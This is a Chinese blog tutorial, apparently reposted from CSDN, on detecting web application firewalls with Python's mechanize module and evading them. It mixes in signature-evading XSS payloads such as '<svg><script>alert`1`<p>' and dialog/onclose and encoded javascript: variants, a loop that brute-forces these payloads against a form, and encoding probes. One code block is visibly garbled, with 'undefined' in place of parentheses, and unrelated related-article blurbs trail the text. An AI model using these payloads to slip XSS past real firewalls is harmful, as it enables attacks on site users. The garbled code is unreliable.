使用Python检测并绕过Web应用程序防火墙

简介: 版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396273 参考文章:click hereWeb应用程序防火墙用来过滤恶意流量。
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396273

参考文章:click here

Web应用程序防火墙用来过滤恶意流量。

基于签名的防火墙

在基于签名的防火墙中,定义了签名,因为网络攻击也遵循类似的模式或签名。所以我们可以定义匹配模式并阻止它们。

Payload :- <svg><script>alert`1`<p>

上面定义的有效载荷是一种跨站点脚本攻击,这些攻击都可以包含以下子串 - >“<script>”,我们可以定义如下定义的2-3个签名:

1、<script>
2、alert(*)

第一个签名将阻止包含<script>子串的任何请求。
第二个将阻止警报(任何文本)。那么这就是基于签名的防火墙的工作原理。

怎么知道有防火墙?

开始攻击以前,先测试是否有防火墙。

这段消息告诉我们,防火墙阻碍了我们的攻击。

HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the
requested resource could not be found on this server. This error was generated by <strong>Mod_Security</strong>.

下面,尝试用python脚本检测防火墙,并且绕过它。
1、定义HTML文档和PHP脚本
定义我们的HTML文档来注入有效载荷和相应的PHP脚本来处理数据。
我们下面定义了这两个。
将使用以下HTML文档:

<html>
<body>
<form name="waf" action="waf.php" method="post">
Data: <input type="text" name="data"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>

waf.php:

<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>

2、准备恶意请求
检测防火墙存在的第二步是创建一个可以被防火墙阻止的恶意跨站脚本请求。 我们将使用一个名为“Mechanize”的python模块,了解更多关于此模块的信息click here

import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)

3、准备有效载荷
在HTML文档中,我们使用以下代码指定了一个输入字段:

input type =“text”name =“data”> <br>

您可以看到该字段的名称是“data”,我们可以使用以下代码来定义此字段的输入:

crossSiteScriptingPayLoad = "<svg><script>alert&grave;1&grave;<p>"
maliciousRequest.form['data'] = crossSiteScriptingPayLoad

第一行将我们的有效载荷保存在一个变量中
第二行,我们已将我们的有效内容分配给表单字段“data”。 我们现在可以安全地提交此表格并检查答复。
4、提交表单并记录回复

maliciousRequest.submit()
response =  maliciousRequest.response().read()
print response

提交表单
将响应保存在变量中
打印响应
没有安装防火墙得到如下响应:

5、检测防火墙的存在
名为“response”的变量包含从服务器获得的响应,我们可以使用响应来检测防火墙的存在。 我们将尝试在本教程中检测到以下防火墙的存在。WebKnight
mod_security
Dot Defender
python代码:

if response.find('WebKnight') >= 0:
       print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
      print "Firewall detected: Dot Defender"
else:
      print "No Firewall Present"

如果安装了Web Knight防火墙,并且我们的请求被阻止,响应字符串将在其中包含“WebKnight”,那么find函数将返回大于0的值,这意味着WebKnight防火墙存在。 同样,我们也可以检查其他2个防火墙。 我们可以扩展这个小应用程序来检测多少个防火墙,但您必须知道响应行为。

使用强力来绕过防火墙过滤器

开头提到,大多数防火墙基于签名阻止请求。 但可以使用数千种方式构建有效载荷。 Java脚本复杂,我们可以列出有效负载,并尝试其中的每一个,记录每个响应并检查是否能够绕过防火墙。 请注意,如果防火墙规则被明确定义,这种方法可能无法正常工作。 让我们看看我们如何使用python来硬肛:

listofPayloads = ['&lt;dialog open="" onclose="alertundefined1)"&gt;&lt;form method="dialog"&gt;&lt;button&gt;Close me!&lt;/button&gt;&lt;/form&gt;&lt;/dialog&gt;','&lt;svg&gt;&lt;script&gt;prompt&amp;#40 1&amp;#41&lt;i&gt;','&lt;a href="&amp;#1;javascript:alertundefined1)"&gt;CLICK ME&lt;a&gt;'
]
for payLoads in listofPayloads:    
maliciousRequest = mec.Browserundefined)
formName = 'waf'    
maliciousRequest.openundefined(http://check.cyberpersons.com/crossSiteCheck.html)")
maliciousRequest.select_formundefinedformName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined 'WebKnight' ) &gt; = 0:        
print "Firewall detected: WebKnight"    
elif 
response.findundefined 'Mod_Security') &gt; = 0:        
print "Firewall detected: Mod Security"
elif
response.findundefined 'Mod_Security' ) &gt; = 0 :        
print "Firewall detected: Mod Security"
elif
response.findundefined 'dotDefender' ) &gt; = 0 :        
print "Firewall detected: Dot Defender"    
else:       
print "No Firewall Present"

在第一行,我们定义了3个有效载荷的列表,您可以扩展此列表,并根据需要添加多个有效载荷
然后在for循环中,我们做了与上面所做的相同的过程,但这次是列表中的每个有效载荷
在收到响应后,我们再次比较看看防火墙是否存在。
没有防火墙的输出:

将HTML标签转换为Unicode或Hex实体

如果例如防火墙正在过滤html标签,如<,>。 我们可以发送相应的Unicode或Hex实体,看看它们是否被转换为原始格式,如果是这样,那么这也可能是一个入口点。 以下代码可用于检查此过程:

listofPayloads = ['&lt;b&gt;','\u003cb\u003e','\x3cb\x3e']
for payLoads in listofPayloads:
     maliciousRequest = mec.Browser()
     formName = 'waf'
   maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
     maliciousRequest.select_form(formName)
     maliciousRequest.form['data'] = payLoads
     maliciousRequest.submit()
     response = maliciousRequest.response().read()
     print "---------------------------------------------------"
     print response
     print "---------------------------------------------------"

每次我们将发送编码的条目,并在响应中我们将检查是否转换或打印回没有转换,当我运行这个代码我得到这个输出


表示没有编码的条目被转换为其原始格式

上面代码好零碎,完整代码打包下载:click here

相关文章
|
运维 监控 算法
时间序列异常检测:MSET-SPRT组合方法的原理和Python代码实现
MSET-SPRT是一种结合多元状态估计技术(MSET)与序贯概率比检验(SPRT)的混合框架,专为高维度、强关联数据流的异常检测设计。MSET通过历史数据建模估计系统预期状态,SPRT基于统计推断判定偏差显著性,二者协同实现精准高效的异常识别。本文以Python为例,展示其在模拟数据中的应用,证明其在工业监控、设备健康管理及网络安全等领域的可靠性与有效性。
1506 13
时间序列异常检测:MSET-SPRT组合方法的原理和Python代码实现
|
弹性计算 监控 网络安全
如何轻松使用AWS Web应用程序防火墙?
AWS WAF是Web应用防火墙,可防护常见网络攻击。通过创建Web ACL并设置规则,保护CloudFront、API网关、负载均衡器等资源。支持自定义规则与OWASP预定义规则集,结合CloudWatch实现监控日志,提升应用安全性和稳定性。
|
传感器 运维 前端开发
Python离群值检测实战:使用distfit库实现基于分布拟合的异常检测
本文解析异常(anomaly)与新颖性(novelty)检测的本质差异,结合distfit库演示基于概率密度拟合的单变量无监督异常检测方法,涵盖全局、上下文与集体离群值识别,助力构建高可解释性模型。
758 10
Python离群值检测实战:使用distfit库实现基于分布拟合的异常检测
|
安全 Linux PHP
Web渗透-命令执行漏洞-及常见靶场检测实战
命令执行漏洞(RCE)指应用程序调用系统命令时,用户可控制输入参数,导致恶意命令被拼接执行,从而危害系统安全。常见于PHP的system、exec等函数。攻击者可通过命令连接符在目标系统上执行任意命令,造成数据泄露或服务瘫痪。漏洞成因包括代码层过滤不严、第三方组件缺陷等。可通过参数过滤、最小权限运行等方式防御。本文还介绍了绕过方式、靶场测试及复现过程。
2187 0
|
监控 编译器 Python
如何利用Python杀进程并保持驻留后台检测
本教程介绍如何使用Python编写进程监控与杀进程脚本,结合psutil库实现后台驻留、定时检测并强制终止指定进程。内容涵盖基础杀进程、多进程处理、自动退出机制、管理员权限启动及图形界面设计,并提供将脚本打包为exe的方法,适用于需持续清理顽固进程的场景。
|
IDE 开发工具 Python
魔搭notebook在web IDE下,使用jupyter notebook,python扩展包无法更新升级
魔搭notebook在web IDE下,使用jupyter notebook,python扩展包无法更新升级,不升级无法使用,安装python扩展包的时候一直停留在installing
425 4
|
数据采集 Web App开发 存储
打造高效的Web Scraper:Python与Selenium的完美结合
本文介绍如何使用Python结合Selenium,通过代理IP、设置Cookie和User-Agent抓取BOSS直聘的招聘信息,包括公司名称、岗位、要求和薪资。这些数据可用于行业趋势、人才需求、企业动态及区域经济分析,为求职者、企业和分析师提供宝贵信息。文中详细说明了环境准备、代理配置、登录操作及数据抓取步骤,并提醒注意反爬虫机制和验证码处理等问题。
843 1
打造高效的Web Scraper:Python与Selenium的完美结合
|
云安全 数据采集 安全
阿里云热门云安全产品简介:Web应用防火墙与云防火墙产品各自作用介绍
在阿里云的安全类云产品中,Web应用防火墙与云防火墙是用户比较关注的两款安全产品,二者在作用上各有侧重,共同构成了阿里云强大的安全防护体系。本文将对Web应用防火墙与云防火墙产品各自的主要作用进行详细介绍。
|
监控 网络安全 开发者
Python中的Paramiko与FTP文件夹及文件检测技巧
通过使用 Paramiko 和 FTP 库,开发者可以方便地检测远程服务器上的文件和文件夹是否存在。Paramiko 提供了通过 SSH 协议进行远程文件管理的能力,而 `ftplib` 则提供了通过 FTP 协议进行文件传输和管理的功能。通过理解和应用这些工具,您可以更加高效地管理和监控远程服务器上的文件系统。
851 20
|
Kubernetes 安全 Devops
有效抵御网络应用及API威胁,聊聊F5 BIG-IP Next Web应用防火墙
有效抵御网络应用及API威胁,聊聊F5 BIG-IP Next Web应用防火墙
463 10
有效抵御网络应用及API威胁,聊聊F5 BIG-IP Next Web应用防火墙

推荐镜像

更多